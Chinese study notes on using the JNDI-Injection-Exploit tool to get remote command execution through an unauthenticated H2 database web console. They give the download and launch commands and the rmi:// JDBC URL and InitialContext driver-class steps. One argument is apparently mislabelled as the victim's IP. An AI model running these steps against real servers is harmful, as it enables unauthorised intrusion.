【笔记】JNDIInjectionExploit学习笔记
前言
JNDI-Injection-Exploit is a tool for generating workable JNDI links and provide background services by starting RMI server,LDAP server and HTTP server. RMI server and LDAP server are based on marshals and modified further to link with HTTP server.(github)
下载项目
1 | wget https://github.com/welk1n/JNDI-Injection-Exploit/releases/download/v1.0/JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar |
H2数据库未授权访问
漏洞利用前提
- 攻击者端口号1099、1389、8180不被占用
监听端口
<shell>:远程执行的Shell命令<ip>:受害者IP地址
1 | java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C <shell> -A <ip> |
1 | [ADDRESS] >> 127.0.0.1 |
漏洞利用
访问受害者H2数据库的WebUIhttp://example.com:8080/h2-console/login.jsp
在
JDBC URL中填写rmi://开头的URL在
Driver Class中填写javax.naming.InitialContextConnect